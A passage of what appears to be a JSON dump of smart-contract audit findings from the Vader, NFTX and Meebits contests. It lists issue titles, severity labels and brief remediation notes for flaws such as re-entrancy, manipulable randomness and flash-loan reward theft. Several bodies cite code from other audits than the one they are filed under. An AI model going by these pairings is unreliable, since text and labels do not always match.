Concept DAO.sol: function init(address _vader, address _usdv, address _vault) public { Factory.sol: function init(address _pool) public { Pools.sol: function init(address _vader, address _usdv, address _router, address _factory) public { Router.sol: function init(address _vader, address _usdv, address _pool) public { USDV.sol: function init(address _vader, address _vault, address _router) external { Utils.sol: function init(address _vader, address _usdv, address _router, address _pools, address _factory) public { Vader.sol: function init(address _vether, address _USDV, address _utils) external { Vault.sol: function init(address _vader, address _usdv, address _router, address _factory, address _pool) public { ## Tools Used Editor ## Recommended Mitigation Steps Add a check to the init function, for example that only the deployer can call the function. "}, {"title": "Some unused code", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/17", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact There is some unused / redundant code present. Router.sol defines repayDelay but it is never used Vault.sol initializes POOLS twice, with the same value. ## Proof of Concept Router.sol: uint public repayDelay = 3600; Vault.sol: function init(address _vader, address _usdv, address _router, ... .. POOLS = _pool; .. POOLS = _pool; ## Tools Used Editor ## Recommended Mitigation Steps Remove redundant code "}, {"title": "Public function that could be declared external", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact public functions that are never called by the contract should be declared external to save gas. ## Proof of Concept 1. In Vault.sol -- > init() and grant() https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Vault.sol#L45 https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Vault.sol#L68 2. Vader.sol -- > burn() https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Vader.sol#L146 3. Utils.sol -- > init(), getProtection() https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Utils.sol#L30 4. Router.sol -- > init(address,address,address) getVADERAmount(uint256) getUSDVAmount(uint256) borrow(uint256,address,address) repay(uint256,address,address) checkLiquidate() getSystemCollateral(address,address) getSystemDebt(address,address) getSystemInterestPaid() https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Router.sol#L77 5. Pools.sol init(address,address,address,address) isMember(address) isSynth(address) https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Pools.sol 6. Dao.sol init(address,address,address) newGrantProposal(address,uint256) newAddressProposal(address,string) voteProposal(uint256) cancelProposal(uint256,uint256) finaliseProposal(uint256) https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/DAO.sol#L46 ## Tools Used slither ## Recommended Mitigation Steps use external instead of public visibility to save gas "}, {"title": "Lack of zero address validation in init() function", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/12", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-04-vader-findings", "body": "Lack of zero address validation in init() function"}, {"title": "events can be emitted even after failed transaction", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/6", "labels": ["bug", "disagree with severity", "1 (Low Risk)", "sponsor disputed"], "target": "2021-04-vader-findings", "body": "events can be emitted even after failed transaction"}, {"title": "Using calldata when not appropiate", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/100", "labels": ["bug", "0 (Non-critical)", "Disputed"], "target": "2021-05-nftx-findings", "body": "Using calldata when not appropiate"}, {"title": "Revert inside a loop", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/97", "labels": ["bug", "G (Gas Optimization)", "Acknowledged"], "target": "2021-05-nftx-findings", "body": "Revert inside a loop"}, {"title": "Two Duplicate \"rescueTokens\" Functions In NFTXFeeDistributor ", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/91", "labels": ["bug", "duplicate", "0 (Non-critical)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Two Duplicate \"rescueTokens\" Functions In NFTXFeeDistributor "}, {"title": "Incorrect Type Specified For Argument _address In NFTXFeeDistributor.rescueTokens()", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/89", "labels": ["bug", "0 (Non-critical)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Incorrect Type Specified For Argument _address In NFTXFeeDistributor.rescueTokens()"}, {"title": "NFTXLPStaking Is Subject To A Flash Loan Attack That Can Steal Nearly All Rewards/Fees That Have Accrued For A Particular Vault", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/88", "labels": ["bug", "3 (High Risk)", "Disputed"], "target": "2021-05-nftx-findings", "body": "NFTXLPStaking Is Subject To A Flash Loan Attack That Can Steal Nearly All Rewards/Fees That Have Accrued For A Particular Vault"}, {"title": "Upgradeable contracts not Upgradeable", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/87", "labels": ["bug", "1 (Low Risk)", "Disputed"], "target": "2021-05-nftx-findings", "body": "Upgradeable contracts not Upgradeable"}, {"title": "__Ownable_init will be called twice in multiple Eligibility contracts", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/84", "labels": ["bug", "1 (Low Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "__Ownable_init will be called twice in multiple Eligibility contracts"}, {"title": "lack of zero address validation", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/82", "labels": ["bug", "1 (Low Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "lack of zero address validation"}, {"title": "Missing pool existence check in balanceOf", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/80", "labels": ["bug", "1 (Low Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Missing pool existence check in balanceOf"}, {"title": "Use safeTransfer/safeTransferFrom consistently instead of transfer/transferFrom", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/79", "labels": ["bug", "2 (Med Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "# Handle cccz # Vulnerability details ## Impact It is good to add a require() statement that checks the return value of token transfers or to use something like OpenZeppelin\u2019s safeTransfer/safeTransferFrom unless one is sure the given token reverts in case of a failure. Failure to do so will cause silent failures of transfers and affect token accounting in contract. ## Proof of Concept https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L457 https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L463 https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L489 https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L513 https://github.com/code-423n4/2022-01-trader-joe/blob/main/contracts/LaunchEvent.sol#L537 ## Tools Used Manual analysis ## Recommended Mitigation Steps Consider using safeTransfer/safeTransferFrom or require() consistently. "}, {"title": "Randomization of NFTs returned in redeem/swap operations can be brute-forced", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/78", "labels": ["bug", "2 (Med Risk)", "Acknowledged"], "target": "2021-05-nftx-findings", "body": "Randomization of NFTs returned in redeem/swap operations can be brute-forced"}, {"title": "Front-running setFees() could avoid fees", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/72", "labels": ["bug", "1 (Low Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Front-running setFees() could avoid fees"}, {"title": "The direct redeem fee can be circumvented", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/71", "labels": ["bug", "2 (Med Risk)", "Acknowledged"], "target": "2021-05-nftx-findings", "body": "The direct redeem fee can be circumvented"}, {"title": "A malicious receiver can cause another receiver to lose out on distributed fees by returning `false` for `tokensReceived` when receiveRewards is called on their receiver contract.", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/69", "labels": ["bug", "2 (Med Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "A malicious receiver can cause another receiver to lose out on distributed fees by returning `false` for `tokensReceived` when receiveRewards is called on their receiver contract."}, {"title": "Change function visibility from public to external", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Change function visibility from public to external"}, {"title": "Unused events", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/63", "labels": ["bug", "duplicate", "G (Gas Optimization)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "# Handle WatchPug # Vulnerability details Unused events increase contract size and gas usage at deployment. https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/eligibility/NFTXMintRequestEligibility.sol#L62-L62 ```solidity event Reject(uint256[] nftIds); ``` `Reject` is unused. "}, {"title": "Unused storage variables", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "Acknowledged", "Confirmed"], "target": "2021-05-nftx-findings", "body": "# Handle WatchPug # Vulnerability details Unused storage variables in contracts use up storage slots and increase contract size and gas usage at deployment and initialization. Instances include: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/StabilizerNode.sol#L57-L57 ```solidity=57 address public uniswapV2Factory; ``` "}, {"title": "Semantic Overloading in NFTXUpgradable.sol", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/61", "labels": ["bug", "duplicate", "0 (Non-critical)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Semantic Overloading in NFTXUpgradable.sol"}, {"title": "Tokens can get stuck in `NFTXMintRequestEligibility`", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/59", "labels": ["bug", "2 (Med Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Tokens can get stuck in `NFTXMintRequestEligibility`"}, {"title": "Potential bug with `reverseEligOnRedeem` / misleading name", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/57", "labels": ["bug", "1 (Low Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Potential bug with `reverseEligOnRedeem` / misleading name"}, {"title": "`getRandomTokenIdFromFund` yields wrong probabilities for ERC1155", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/56", "labels": ["bug", "duplicate", "3 (High Risk)", "Acknowledged"], "target": "2021-05-nftx-findings", "body": "`getRandomTokenIdFromFund` yields wrong probabilities for ERC1155"}, {"title": "Vault's flash loan not implemented according to EIP-3156", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/54", "labels": ["bug", "1 (Low Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Vault's flash loan not implemented according to EIP-3156"}, {"title": "Vault's `swapTo` can return the input tokens", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/53", "labels": ["bug", "1 (Low Risk)", "Acknowledged"], "target": "2021-05-nftx-findings", "body": "Vault's `swapTo` can return the input tokens"}, {"title": "LockIds not according to spec", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/52", "labels": ["documentation", "0 (Non-critical)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "LockIds not according to spec"}, {"title": "Manager can grief with fees", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/51", "labels": ["bug", "2 (Med Risk)"], "target": "2021-05-nftx-findings", "body": "Manager can grief with fees"}, {"title": "Gas optimization for `StakingTokenProvider.nameForStakingToken`", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Gas optimization for `StakingTokenProvider.nameForStakingToken`"}, {"title": "Unchecked external calls in `NFTXLPStaking`", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/48", "labels": ["bug", "1 (Low Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Unchecked external calls in `NFTXLPStaking`"}, {"title": "Unbounded iteration in `NFTXEligiblityManager.distribute` over `_feeReceivers`", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/47", "labels": ["bug", "2 (Med Risk)", "Acknowledged"], "target": "2021-05-nftx-findings", "body": "Unbounded iteration in `NFTXEligiblityManager.distribute` over `_feeReceivers`"}, {"title": "`distribute` DoS on missing `receiveRewards` implementation", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/46", "labels": ["bug", "3 (High Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "`distribute` DoS on missing `receiveRewards` implementation"}, {"title": "Missing usage of SafeMath", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/45", "labels": ["bug", "1 (Low Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Missing usage of SafeMath"}, {"title": "Missing parameter validation", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/44", "labels": ["bug", "1 (Low Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "# Handle cmichel # Vulnerability details Some parameters of functions are not checked for invalid values: - `TreasuryManager.setPriceOracle: oracleAddress`: could break things - `TreasuryManager.setSlippageLimit: slippageLimit`: should be `<= SLIPPAGE_LIMIT_PRECISION` ## Impact Wrong user input or wallets defaulting to the zero addresses for a missing input can lead to the contract needing to redeploy or wasted gas. ## Recommended Mitigation Steps Validate the parameters. "}, {"title": "Missing overflow check in `flashLoan`", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/43", "labels": ["bug", "duplicate", "3 (High Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Missing overflow check in `flashLoan`"}, {"title": "Unused variables", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/39", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-05-nftx-findings", "body": "Unused variables"}, {"title": "[INFO] function publicMint is for testing only", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/26", "labels": ["bug", "0 (Non-critical)"], "target": "2021-05-nftx-findings", "body": "[INFO] function publicMint is for testing only"}, {"title": "eligibilityManager is always 0x0", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/25", "labels": ["bug", "1 (Low Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "eligibilityManager is always 0x0"}, {"title": "no check _rangeStart<=_rangeEnd", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/17", "labels": ["bug", "0 (Non-critical)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "no check _rangeStart<=_rangeEnd"}, {"title": "Missing documentation for flashloan paused number", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/14", "labels": ["documentation", "0 (Non-critical)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Missing documentation for flashloan paused number"}, {"title": "Not checked if within array bounds", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/13", "labels": ["bug", "0 (Non-critical)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Not checked if within array bounds"}, {"title": "simpler way to suppress compiler warning", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/12", "labels": ["bug", "0 (Non-critical)", "Acknowledged"], "target": "2021-05-nftx-findings", "body": "simpler way to suppress compiler warning"}, {"title": "Fee Distribution Re-Entrancy", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/11", "labels": ["bug", "2 (Med Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "Fee Distribution Re-Entrancy"}, {"title": "EIP-721 / EIP-1155 Re-Entrancy Vulnerability", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/8", "labels": ["bug", "3 (High Risk)", "Confirmed"], "target": "2021-05-nftx-findings", "body": "EIP-721 / EIP-1155 Re-Entrancy Vulnerability"}, {"title": "Inconsistent solidity pragma", "html_url": "https://github.com/code-423n4/2021-05-nftx-findings/issues/3", "labels": ["bug", "1 (Low Risk)"], "target": "2021-05-nftx-findings", "body": "Inconsistent solidity pragma"}, {"title": "Beebots.randomIndex() Can Be Manipulated To Not Be Random Without Costing Alice Anything", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/85", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-meebits-findings", "body": "Beebots.randomIndex() Can Be Manipulated To Not Be Random Without Costing Alice Anything"}, {"title": "External over public ", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/84", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-meebits-findings", "body": "External over public "}, {"title": "Optimizations storage", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/83", "labels": ["bug", "G (Gas Optimization)", "style"], "target": "2021-04-meebits-findings", "body": "Optimizations storage"}, {"title": "Constructor lack of zero address validation", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/82", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "Constructor lack of zero address validation"}, {"title": "Randomnesss can be manipulated", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/81", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-meebits-findings", "body": "Randomnesss can be manipulated"}, {"title": "Nonce not modified", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/80", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "Nonce not modified"}, {"title": "Beebots.contentHash() Is Currently Set As \"todo\"", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/79", "labels": ["duplicate", "invalid", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "Beebots.contentHash() Is Currently Set As \"todo\""}, {"title": "Beebots.tokenURI() References A Non-Existent Domain at \"TODO\"", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/78", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "Beebots.tokenURI() References A Non-Existent Domain at \"TODO\""}, {"title": "Beebots.TradeValid() Will Erroneously Return True When Maker Is Set To Address(0) and makerIds Are Set To The TokenIds of Unminted Beebot NFTs", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/77", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-meebits-findings", "body": "Beebots.TradeValid() Will Erroneously Return True When Maker Is Set To Address(0) and makerIds Are Set To The TokenIds of Unminted Beebot NFTs"}, {"title": "Can cancel the same offer several times", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/76", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "Can cancel the same offer several times"}, {"title": "NFT can be minted for free after sale ended", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/75", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-meebits-findings", "body": "NFT can be minted for free after sale ended"}, {"title": "The randomIndex() can be determined", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/74", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-meebits-findings", "body": "The randomIndex() can be determined"}, {"title": "function tokenByIndex treats last index as invalid", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/73", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-meebits-findings", "body": "function tokenByIndex treats last index as invalid"}, {"title": "function ownerOf does not check if it is a valid _tokenId", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/72", "labels": ["invalid", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "function ownerOf does not check if it is a valid _tokenId"}, {"title": "Use always uint256", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/71", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "Use always uint256"}, {"title": "contentHash is not used", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/70", "labels": ["bug", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "contentHash is not used"}, {"title": "PauseMarket() can be optimized", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/69", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-meebits-findings", "body": "PauseMarket() can be optimized"}, {"title": "creatorNftMints is assigned only 0 or 1", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/68", "labels": ["0 (Non-critical)", "G (Gas Optimization)", "style"], "target": "2021-04-meebits-findings", "body": "creatorNftMints is assigned only 0 or 1"}, {"title": "Require() not needed", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/67", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-meebits-findings", "body": "Require() not needed"}, {"title": "Lack of chain information in the signed data leads to potential replay attacks.", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/66", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-meebits-findings", "body": "Lack of chain information in the signed data leads to potential replay attacks."}, {"title": "Should use `SafeMath.add` in the `acceptTrade` function.", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/65", "labels": ["bug", "1 (Low Risk)", "style"], "target": "2021-04-meebits-findings", "body": "Should use `SafeMath.add` in the `acceptTrade` function."}, {"title": "Nonce does not increase during the entire sale.", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/64", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "Nonce does not increase during the entire sale."}, {"title": "No zero check on constructor inputs.", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/63", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "No zero check on constructor inputs."}, {"title": "The `ownerOf` function requires checking if the owner is non-zero.", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/62", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "The `ownerOf` function requires checking if the owner is non-zero."}, {"title": "Several functions in the ERC721 interface are not declared `payable`.", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/61", "labels": ["invalid"], "target": "2021-04-meebits-findings", "body": "Several functions in the ERC721 interface are not declared `payable`."}, {"title": "cancelOffer() is susceptible to front-running", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/60", "labels": ["invalid", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "cancelOffer() is susceptible to front-running"}, {"title": "Market pause does not pause cancelOffer()", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/59", "labels": ["0 (Non-critical)", "style"], "target": "2021-04-meebits-findings", "body": "Market pause does not pause cancelOffer()"}, {"title": "event Deposit when value is 0", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/58", "labels": ["bug", "0 (Non-critical)", "style"], "target": "2021-04-meebits-findings", "body": "event Deposit when value is 0"}, {"title": "Market pause does not pause tradeValid()", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/57", "labels": ["1 (Low Risk)", "style"], "target": "2021-04-meebits-findings", "body": "Market pause does not pause tradeValid()"}, {"title": "event Mint parameter minter", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/56", "labels": ["bug", "0 (Non-critical)", "style"], "target": "2021-04-meebits-findings", "body": "event Mint parameter minter"}, {"title": "Design susceptible to taker griefing on acceptTrade()", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/55", "labels": ["enhancement", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "Design susceptible to taker griefing on acceptTrade()"}, {"title": "Signature malleability of EVM's ecrecover in verify()", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/54", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "Signature malleability of EVM's ecrecover in verify()"}, {"title": "mint for 0 cost when the sale is over", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/53", "labels": ["bug", "duplicate", "3 (High Risk)"], "target": "2021-04-meebits-findings", "body": "mint for 0 cost when the sale is over"}, {"title": "nonce always remains 0", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/52", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2021-04-meebits-findings", "body": "nonce always remains 0"}, {"title": "Incorrect use of test parameterization for baseURI value in tokenURI()", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/51", "labels": ["invalid", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "Incorrect use of test parameterization for baseURI value in tokenURI()"}, {"title": ".transfer is not safe to use with custom smart contracts", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/50", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2021-04-meebits-findings", "body": ".transfer is not safe to use with custom smart contracts"}, {"title": "ERC721Metadata Spec mismatch from lack of input validation in tokenURI()", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/49", "labels": ["invalid", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "ERC721Metadata Spec mismatch from lack of input validation in tokenURI()"}, {"title": "ERC-721 Enumerable Spec mismatch for return value of tokenByIndex() function", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/48", "labels": ["bug", "duplicate", "3 (High Risk)"], "target": "2021-04-meebits-findings", "body": "ERC-721 Enumerable Spec mismatch for return value of tokenByIndex() function"}, {"title": "ERC-721 Enumerable Spec mismatch for index of tokenByIndex() function", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/47", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-meebits-findings", "body": "ERC-721 Enumerable Spec mismatch for index of tokenByIndex() function"}, {"title": "Potential reentrancy in safeTransferFrom functions", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/46", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2021-04-meebits-findings", "body": "Potential reentrancy in safeTransferFrom functions"}, {"title": "Use of transfer() may lead to failures", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/45", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-meebits-findings", "body": "Use of transfer() may lead to failures"}, {"title": "Incorrect createVia argument used in mintWithAlphaOrBeta function", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/44", "labels": ["0 (Non-critical)", "style"], "target": "2021-04-meebits-findings", "body": "Incorrect createVia argument used in mintWithAlphaOrBeta function"}, {"title": "Deployer minting to arbitrary addresses could trick/confuse users", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/43", "labels": ["invalid", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "Deployer minting to arbitrary addresses could trick/confuse users"}, {"title": "Missing event in critical devMint() function", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/42", "labels": ["1 (Low Risk)", "style"], "target": "2021-04-meebits-findings", "body": "Missing event in critical devMint() function"}, {"title": "ERC-721 Spec mismatch for ownerOf() function", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/41", "labels": ["0 (Non-critical)", "style"], "target": "2021-04-meebits-findings", "body": "ERC-721 Spec mismatch for ownerOf() function"}, {"title": "Missing error messages in require statements of various function", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/40", "labels": ["1 (Low Risk)", "style"], "target": "2021-04-meebits-findings", "body": "Missing error messages in require statements of various function"}, {"title": "Missing event in critical sealContract() function", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/39", "labels": ["duplicate", "enhancement", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "Missing event in critical sealContract() function"}, {"title": "Missing event in critical pauseMarket() function", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/38", "labels": ["duplicate", "enhancement", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "Missing event in critical pauseMarket() function"}, {"title": "Missing parameters in SalesBegin event of critical startSale() function", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/37", "labels": ["enhancement", "1 (Low Risk)", "style"], "target": "2021-04-meebits-findings", "body": "Missing parameters in SalesBegin event of critical startSale() function"}, {"title": "No guarded launch circuit breaker for public sale", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/36", "labels": ["bug", "1 (Low Risk)"], "target": "2021-04-meebits-findings", "body": "No guarded launch circuit breaker for public sale"}, {"title": "Missing zero/threshold check for NFT sale duration", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/35", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-meebits-findings", "body": "Missing zero/threshold check for NFT sale duration"}, {"title": "Missing zero/threshold check for NFT sale price", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/34", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-meebits-findings", "body": "Missing zero/threshold check for NFT sale price"}, {"title": "Missing zero-address check for the beneficiary address", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/33", "labels": ["bug", "3 (High Risk)"], "target": "2021-04-meebits-findings", "body": "Missing zero-address check for the beneficiary address"}, {"title": "Privileged deployer role and capabilities", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/32", "labels": ["invalid", "0 (Non-critical)"], "target": "2021-04-meebits-findings", "body": "Privileged deployer role and capabilities"}, {"title": "Gas savings by replacing modifier onlyDeployer with internal function", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/31", "labels": ["0 (Non-critical)", "style"], "target": "2021-04-meebits-findings", "body": "Gas savings by replacing modifier onlyDeployer with internal function"}, {"title": "randomIndex is not truly random - possibility of predictably minting a specific token Id", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/30", "labels": ["bug", "2 (Med Risk)"], "target": "2021-04-meebits-findings", "body": "randomIndex is not truly random - possibility of predictably minting a specific token Id"}, {"title": "Explicit initialization with zero not required for nonce", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/29", "labels": ["duplicate"], "target": "2021-04-meebits-findings", "body": "Explicit initialization with zero not required for nonce"}, {"title": "Explicit initialization with false not required for publicSale", "html_url": "https://github.com/code-423n4/2021-04-meebits-findings/issues/28", "labels": ["duplicate"], "target": "2021-04-meebits-findings", "body": 